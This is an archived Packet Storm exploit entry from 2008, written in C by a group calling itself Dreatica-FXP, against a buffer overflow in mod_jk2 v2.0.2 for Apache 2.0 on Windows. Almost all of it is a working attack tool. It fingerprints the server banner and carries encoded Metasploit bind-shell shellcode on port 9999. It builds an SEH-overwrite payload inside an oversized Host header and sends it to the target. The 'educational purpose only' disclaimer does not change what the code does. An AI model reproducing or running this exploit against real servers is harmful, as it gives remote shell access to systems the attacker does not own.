modjk-overflow.txt

2008-04-01T00:00:00
ID PACKETSTORM:65064
Type packetstorm
Reporter Heretic2
Modified 2008-04-01T00:00:00

Description

                                        
                                            `/* Dreatica-FXP crew  
*   
* ----------------------------------------  
* Target : mod_jk2 v2.0.2 for Apache 2.0 Win32   
* Found by : IOActive Security Advisory  
* ----------------------------------------  
* Exploit : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)  
* Exploit date : 01.03.2008 - 02.03.2008  
* Exploit writer : Heretic2 (heretic2x@gmail.com)  
* OS : Windows ALL   
* Crew : Dreatica-FXP  
* ----------------------------------------  
* Info : Exploit was found by IOActive Security Advisory, trivial exploit for win32.  
* The only problem here is that the mod_jk2 forstly downcase all letter in Host  
* header request, Metasploit v3 have solutions for this case:  
* 1. Use non-upper encoder  
* 2. Use non-alpha encoder  
* i used the first variant here. and all is working good.  
* ----------------------------------------  
* Thanks to:  
* 1. IOActive Security Advisory ( )  
* 2. The Metasploit project ( http://metasploit.com )   
* 3. Dreatica-FXP crew ( )  
* ----------------------------------------  
* This was written for educational purpose only. Use it at your own risk. Author will be not be   
* responsible for any damage, caused by that code.  
************************************************************************************  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <winsock2.h>  
#include <ctime>  
#pragma comment(lib,"ws2_32")  
  
  
void usage(char * s);  
void logo();  
void end_logo();  
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);  
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);  
int get_version(char * remotehost, int port, int * itarget);  
int validate_args(char * remotehost, int port, int sh, int itarget);  
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);  
SOCKET do_connect (char *remotehost, int port);  
  
  
// -----------------------------------------------------------------  
// XGetopt.cpp Version 1.2  
// -----------------------------------------------------------------  
int getopt(int argc, char *argv[], char *optstring);  
char *optarg; // global argument pointer  
int optind = 0, opterr; // global argv index  
// -----------------------------------------------------------------  
// -----------------------------------------------------------------  
  
  
  
  
struct _target{  
const char *t ;  
unsigned long ret ;  
} targets[]=  
{   
{"mod_jk2/2.0.2 for Apache 2.0.48", 0x100115c3 },// pop,pop,ret   
{NULL, 0x00000000 }  
};  
  
  
  
struct {  
const char * name;  
int length;  
char * shellcode;   
}shellcodes[]={   
{"Bindshell, port 9999", 461,   
/*  
* windows/shell_bind_tcp - 461 bytes  
* http://www.metasploit.com  
* Encoder: x86/nonalpha  
* EXITFUNC=seh, LPORT=9999  
*/  
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x6c\x8b\xd7\x3b"  
"\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb\xf1\xeb"  
"\x71\xe8\xe2\xff\xff\xff\x11\x2e\x0f\x36\x03\x2c\x32\x07\x27"  
"\x06\x15\x30\x0f\x1a\x17\x38\x0b\x13\x2d\x2b\x15\x28\x15\x13"  
"\x13\x04\x08\x27\x13\x2b\x15\x26\x11\x13\x24\x28\x28\x28\x28"  
"\x28\x38\x28\x38\x28\x15\x13\x15\x28\x13\x0b\x24\x11\x2a\x26"  
"\x13\x24\x28\x26\x13\x32\x32\x24\x2b\x27\x27\x26\x13\x02\x02"  
"\x24\x26\x15\x11\x17\x15\x13\x18\x0e\x11\x2b\x22\x11\x37\x39"  
"\x39\x01\x13\x09\x06\x37\x24\x29\x2a\x2a\x2a\x11\x2a\x2a\x26"  
"\x2a\x13\x28\x11\x24\x17\x29\x13\x28\xfc\x7b\xeb\x7b\xe8\xf9"  
"\xff\xff\xff\x60\x8b\x7b\x24\x24\x8b\x7b\x3c\x8b\x7c\x05\x7b"  
"\x01\xef\x8b\x7b\x18\x8b\x5f\x20\x01\xeb\x7b\x8b\x34\x8b\x01"  
"\xee\x31\xc0\x99\xac\x84\xc0\x7b\x07\xc1\xca\x0d\x01\xc2\xeb"  
"\xf4\x3b\x7b\x24\x28\x7b\xe5\x8b\x5f\x24\x01\xeb\x7b\x8b\x0c"  
"\x7b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x7b\x24\x1c\x7b\xc3"  
"\x31\xdb\x7b\x8b\x7b\x30\x8b\x40\x0c\x8b\x7b\x1c\xad\x8b\x40"  
"\x08\x5e\x7b\x8e\x7b\x0e\xec\x7b\xff\xd6\x7b\x7b\x7b\x7b\x33"  
"\x32\x7b\x7b\x7b\x32\x5f\x7b\xff\xd0\x7b\xcb\xed\xfc\x3b\x7b"  
"\xff\xd6\x5f\x89\xe5\x7b\x81\xed\x08\x02\x7b\x7b\x02\xff\xd0"  
"\x7b\xd9\x09\xf5\xad\x7b\xff\xd6\x7b\x7b\x7b\x7b\x7b\x7b\x7b"  
"\x7b\x7b\xff\xd0\x7b\x7b\x27\x0f\x7b\x7b\x89\xe1\x95\x7b\xa4"  
"\x1a\x7b\xc7\x7b\xff\xd6\x7b\x10\x7b\x7b\xff\xd0\x7b\xa4\xad"  
"\x2e\xe9\x7b\xff\xd6\x7b\x7b\xff\xd0\x7b\xe5\x7b\x86\x7b\x7b"  
"\xff\xd6\x7b\x7b\x7b\x7b\xff\xd0\x93\x7b\xe7\x7b\xc6\x7b\x7b"  
"\xff\xd6\x7b\xff\xd0\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x89\xe5\x7b"  
"\x7b\x7b\x29\xcc\x89\xe7\x7b\x7b\x89\xe2\x31\xc0\xf3\xaa\xfe"  
"\x7b\x2d\xfe\x7b\x2c\x93\x8d\x7b\x38\xab\xab\xab\x7b\x7b\xfe"  
"\xb3\x16\xff\x7b\x7b\xff\xd6\x5b\x7b\x7b\x7b\x7b\x7b\x7b\x01"  
"\x7b\x7b\x7b\x7b\xff\xd0\x7b\xad\xd9\x05\xce\x7b\xff\xd6\x7b"  
"\xff\xff\x37\xff\xd0\x8b\x7b\xfc\x83\xc4\x7b\xff\xd6\x7b\xff"  
"\xd0\x7b\xf0\x8a\x04\x5f\x7b\xff\xd6\xff\xd0"  
},   
{NULL , NULL }  
};  
  
  
  
  
  
  
  
  
int main(int argc, char **argv)  
{  
char * remotehost=NULL;  
char default_remotehost[]="127.0.0.1";   
char temp1[100], temp2[100];  
int port, itarget, x, sh;  
SOCKET s;  
char c;   
int option_index=0;  
logo();  
WSADATA wsa;  
WSAStartup(MAKEWORD(2,0), &wsa);  
if(argc<2)  
{  
usage(argv[0]);   
return -1;  
}  
  
// set defaults  
port=80;  
itarget=-1;  
sh=0;  
// ------------   
  
while((c = getopt(argc, argv, "h:p:"))!= EOF)  
{  
switch (c)  
{  
case 'h':  
remotehost=optarg;  
break;   
case 'p':  
sscanf(optarg, "%d", &port);  
break;   
default:  
usage(argv[0]);  
WSACleanup();  
return -1;  
}   
}   
if(remotehost == NULL) remotehost=default_remotehost;  
memset(temp1,0,sizeof(temp1));  
memset(temp2,0,sizeof(temp2));  
memset(temp1, '\x20' , 58 - strlen(remotehost) -1);   
printf(" # Host : %s%s# \n", remotehost, temp1);   
sprintf(temp2, "%d", port);  
memset(temp1,0,sizeof(temp1));  
memset(temp1, '\x20' , 58 - strlen(temp2) -1);  
printf(" # Port : %s%s# \n", temp2, temp1);  
memset(temp1,0,sizeof(temp1));   
memset(temp2,0,sizeof(temp2));  
sprintf(temp2, "%s", shellcodes[sh].name );  
memset(temp1, '\x20' , 58 - strlen(temp2) -1);   
printf(" # Payload : %s%s# \n", temp2, temp1);   
  
  
printf(" # ------------------------------------------------------------------- # \n");  
fflush(stdout);  
printf(" [+] Checking if server is online\n");  
fflush(stdout);  
s=do_connect(remotehost, port);   
if(s==-1)  
{  
printf(" [-] Server is OFFLINE\n");  
end_logo();  
return 0;  
}  
closesocket(s);  
printf(" [+] Server is ONLINE\n");  
  
x = get_version(remotehost, port, &itarget);  
if(x<0)  
{  
printf(" [-] Cannot exploit due to errors\n");  
WSACleanup();  
end_logo();  
return -1;   
}  
  
  
unsigned char buf[10000];  
unsigned int len;  
memset(buf,0,sizeof(buf));  
fflush(stdout);  
make_buffer(buf, &len, itarget, sh);  
  
printf(" [+] Attacking buffer constructed\n");  
  
if(send_buffer(buf, len, remotehost,port)==-1)  
{  
printf(" [-] Cannot exploit server %s\n", remotehost);  
end_logo();  
WSACleanup();  
return -1;  
}  
  
printf(" [+] Buffer sent\n");  
printf(" [+] Connect to %s:%d\n", remotehost, 9999);  
  
end_logo();  
WSACleanup();  
return 0;  
}  
  
  
  
SOCKET do_connect (char *remotehost, int port)  
{  
static struct hostent *host;  
static struct sockaddr_in addr;  
SOCKET s;   
host = gethostbyname(remotehost);  
if (!host)  
{  
perror(" [-] gethostbyname() failed");  
return -1;  
}  
addr.sin_addr = *(struct in_addr*)host->h_addr;  
  
s = socket(PF_INET, SOCK_STREAM, 0);  
if (s == -1)  
{  
closesocket(s);  
perror("socket() failed");  
return -1;  
}  
addr.sin_port = htons(port);  
addr.sin_family = AF_INET;  
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)  
{  
closesocket(s);   
return -1;  
}  
return s;  
}  
  
  
  
int get_version(char * remotehost, int port, int * target)  
{  
  
char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000], ModJK[1000];  
int bytes,j,x;  
SOCKET sock;  
  
memset(bufmax,0,sizeof(bufmax));  
memset(WebBanner,0,sizeof(WebBanner));  
memset(Version,0,sizeof(Version));  
memset(ModJK,0,sizeof(ModJK));  
sock = do_connect(remotehost, port);  
  
if (sock == -1) return -1;  
send(sock, "GET /a.html HTTP/1.0\r\n\r\n",(int)strlen("GET /a.html HTTP/1.0\r\n\r\n"),0);  
  
if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;  
bufmax[sizeof(bufmax)-1]=0;  
  
if((lp=strstr(bufmax,"Server:"))==NULL) return -1;  
if((lp2=strstr(lp,"\r\n"))==NULL) return -1;  
  
strncpy(WebBanner, lp, lp2-lp);  
if((lp=strstr(WebBanner,"Win32"))==NULL)   
{  
printf(" [-] OS is not a Win32\n");  
return -1;  
}  
  
if((lp=strstr(WebBanner,"Apache/"))==NULL)  
{  
printf(" [-] No Apache\n");  
return -1;  
}  
if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;  
lp+=strlen("Apache/");  
if((lp2=strstr(lp," "))==NULL) return -1;  
  
strncpy(Version, lp, lp2-lp);  
  
printf(" [+] Version of Apache is %s\n", Version);  
  
x=0;  
for(j=0; targets[j].t!=0;j++)  
{  
if(strstr(targets[j].t,Version)!=NULL)  
{   
x=1;  
break;  
}  
}  
if(x==0)  
{  
printf(" [-] This version of Apache is UNSUPPORTED\n");  
return -1;  
}  
printf(" [+] This version of Apache is SUPPORTED\n");  
  
strncpy(WebBanner, lp, lp2-lp);  
  
if((lp=strstr(WebBanner,"mod_jk2/"))==NULL)   
{  
printf(" [-] No mod_jk2\n");  
return -1;  
}  
if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);  
  
strncpy(ModJK, lp, lp2-lp);  
  
printf(" [+] mod_jk2 is %s\n", ModJK);  
x=0;  
for(j=0; targets[j].t!=0;j++)  
{  
if(strstr(targets[j].t,ModJK)!=NULL)  
{  
*target=j;  
x=1;  
break;  
}  
}  
if(x==0)  
{  
printf(" [-] This version of mod_jk2 is UNSUPPORTED\n");  
return -1;  
}  
printf(" [+] This version of mod_jk2 is SUPPORTED\n");  
return 0;  
}  
  
  
void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)  
{  
memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);  
*fshlength = shellcodes[sh].length;   
}  
  
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)  
{  
// prepare shellcode  
unsigned char fsh[10000];   
unsigned int fshlength;  
memset(fsh, 0, sizeof(fsh));   
prepare_shellcode(fsh, &fshlength, sh);  
// -----------------  
  
// make buffer  
unsigned char * cp=buf;  
  
// begin of the HTTP request  
memcpy(cp, "GET / HTTP/1.0\r\nHost: ", strlen("GET / HTTP/1.0\r\nHost: ") );   
cp+=strlen((char *)cp);  
  
// jff  
*cp++='\x90';  
*cp++='\x90';  
*cp++='\x90';  
*cp++='\x90';  
  
// overflowing  
memset(cp, '\x41', 5001);  
  
// put the shellcode  
memcpy(cp, fsh, fshlength);  
cp+=1271;  
  
// calculating backward jump  
int jmp_bytes=0xffffffff - (1275);  
  
// putting backward jump  
*cp++ = '\xe9';   
*cp++ = (char)((jmp_bytes ) & 0xff);  
*cp++ = (char)((jmp_bytes >> 8) & 0xff);  
*cp++ = (char)((jmp_bytes >> 16) & 0xff);  
*cp++ = (char)((jmp_bytes >> 24) & 0xff);  
  
// next SEH record and back jump  
*cp++='\x90';  
*cp++='\x90';  
*cp++='\xeb';  
*cp++='\xf7';  
  
// replace SEH  
*cp++ = (char)((targets[itarget].ret ) & 0xff);  
*cp++ = (char)((targets[itarget].ret >> 8) & 0xff);  
*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);  
*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);  
  
// trigger exception  
cp+=3000;   
  
// copy the last part of the request  
memcpy(cp, "\r\n\r\n", strlen("\r\n\r\n") );   
cp+=strlen((char *)cp);  
  
}  
  
  
  
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)  
{   
SOCKET sock;  
  
sock = do_connect(remotehost, port);  
  
if (sock<0) return -1;  
if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return -1;  
  
closesocket(sock);  
return 1;  
}  
  
  
  
  
  
  
// -----------------------------------------------------------------  
// XGetopt.cpp Version 1.2  
// -----------------------------------------------------------------  
int getopt(int argc, char *argv[], char *optstring)  
{  
static char *next = NULL;  
if (optind == 0)  
next = NULL;  
  
optarg = NULL;  
  
if (next == NULL || *next == '\0')  
{  
if (optind == 0)  
optind++;  
  
if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')  
{  
optarg = NULL;  
if (optind < argc)  
optarg = argv[optind];  
return EOF;  
}  
  
if (strcmp(argv[optind], "--") == 0)  
{  
optind++;  
optarg = NULL;  
if (optind < argc)  
optarg = argv[optind];  
return EOF;  
}  
  
next = argv[optind];  
next++; // skip past -  
optind++;  
}  
  
char c = *next++;  
char *cp = strchr(optstring, c);  
  
if (cp == NULL || c == ':')  
return '?';  
  
cp++;  
if (*cp == ':')  
{  
if (*next != '\0')  
{  
optarg = next;  
next = NULL;  
}  
else if (optind < argc)  
{  
optarg = argv[optind];  
optind++;  
}  
else  
{  
return '?';  
}  
}  
  
return c;  
}  
// -----------------------------------------------------------------  
// -----------------------------------------------------------------  
// -----------------------------------------------------------------  
  
  
  
  
  
  
  
void usage(char * s)  
{   
printf("\n");  
printf(" Usage: %s -h <host> -p <port>\n", s);  
printf(" -------------------------------------------------------------------\n");  
printf(" Arguments:\n");  
printf(" -h ........ host to attack\n");  
printf(" -p ........ port to use\n");   
printf("\n");  
printf(" Supported mod_jk versions:\n");  
for(int j=0; targets[j].t!=0;j++)  
{  
printf(" %d. %s\n",j+1, targets[j].t);  
}   
printf("\n");  
printf(" Execution: %s\n\n", shellcodes[0].name);   
end_logo();   
}  
  
void logo()  
{  
printf("\n\n");  
printf(" ####################################################################### \n");   
printf(" # ____ __ _ ______ __ _____ #\n");  
printf(" # / __ \\________ _____/ /_(_)_________ / __/\\ \\/ / / _ / #\n");  
printf(" # / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___ / / \\ / / // / #\n");  
printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \\ / ___/ #\n");  
printf(" # /_____/_/ \\___/ \\_,_/\\__/_/\\___/\\__,_/ /_/ /_/\\_\\/_/ #\n");  
printf(" # crew #\n");  
printf(" ####################################################################### \n");   
printf(" # Exploit : mod_jk2 v2.0.2 for Apache 2.0 # \n");  
printf(" # Author : Heretic2 # \n");  
printf(" # THANKS : IOActive and The Metasploit Project # \n");  
printf(" # Research: IOActive Security Advisory # \n");  
printf(" # Version : 1.0 # \n");  
printf(" # System : Windows ALL # \n");  
printf(" # Date : 01.03.2008 - 02.03.2008 # \n");  
printf(" # ------------------------------------------------------------------- # \n");  
}  
  
void end_logo()  
{  
printf(" # ------------------------------------------------------------------- # \n");  
printf(" # Dreatica-FXP crew [Heretic2] # \n");   
printf(" ####################################################################### \n\n");  
}  
  
`